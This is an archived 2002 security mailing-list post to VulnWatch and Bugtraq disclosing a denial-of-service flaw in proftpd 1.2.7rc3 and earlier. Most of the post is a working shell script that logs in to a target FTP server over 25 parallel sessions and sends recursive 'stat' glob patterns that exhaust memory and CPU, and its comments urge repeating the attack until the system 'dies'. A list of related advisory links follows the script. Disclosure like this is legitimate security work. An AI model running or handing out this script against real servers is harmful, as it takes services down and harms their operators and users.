[VulnWatch] proftpd <=1.2.7rc3 DoS

From: Rob klein Gunnewiek (rmkleing@hio.hen.nl)
Date: 12/08/02

  • Next message: Chris Wysopal: "[VulnWatch] Administrivia" 
    Date: Sun, 8 Dec 2002 13:53:57 +0100 (MET)
From: Rob klein Gunnewiek <rmkleing@hio.hen.nl>
To: bugtraq@securityfocus.com, vulnwatch@vulnwatch.org

    Hello,

    proftpd is vulnerable to denial of service similar to the list
    */../*/../*/../*.

    #!/bin/sh
    #
    # proftpd <=1.2.7rc3 DoS - Requires anonymous/ftp login at least
    # might work against many other FTP daemons
    # consumes nearly all memory and alot of CPU
    #
    # tested against slackware 8.1 - proftpd 1.2.4 and 1.2.7rc3
    #
    # 7-dec-02 - detach - www.duho.org
    #
    # use: ./prodos.sh <host> <user> <pass>
    # do this some more to make sure the system eventually dies

    cnt=25
    while [ $cnt -gt 0 ] ; do
    ftp -n << EOF&
    o $1
    quote user $2
    quote pass $3
    quote stat /*/*/*/*/*/*/*
    quit
    EOF
    let cnt=cnt-1
    done
    sleep 2
    killall -9 ftp
    echo DONE!

    #end

    Relevant Pages

    • proftpd <=1.2.7rc3 DoS
      ... proftpd is vulnerable to denial of service similar to the list ... ftp -n << EOF& ...
      (Bugtraq)
    • Re: [VulnWatch] proftpd <=1.2.7rc3 DoS
      ... Proftpd by default doesn't have this filter set, ... >> # might work against many other FTP daemons ... >> quote user $2 ...
      (Bugtraq)
    • Re: Ftpd
      ... you might want to give proftpd a try... ... > upload files, and create directories where they could upload the files. ... > But they should not remove nor rename any file or directory. ... > ps aux | grep ftp shows: ...
      (freebsd-questions)
    • [OpenPKG-SA-2003.043] OpenPKG Security Advisory (proftpd)
      ... According to an ISS X-Force security advisory, a vulnerability ... when transferring files from the FTP server in ASCII mode. ... and a buffer overflow can manifest if ProFTPD parses a specially ... Select the updated source RPM appropriate for your OpenPKG release ...
      (Bugtraq)
    • [Full-Disclosure] [OpenPKG-SA-2003.043] OpenPKG Security Advisory (proftpd)
      ... According to an ISS X-Force security advisory, a vulnerability ... when transferring files from the FTP server in ASCII mode. ... and a buffer overflow can manifest if ProFTPD parses a specially ... Select the updated source RPM appropriate for your OpenPKG release ...
      (Full-Disclosure)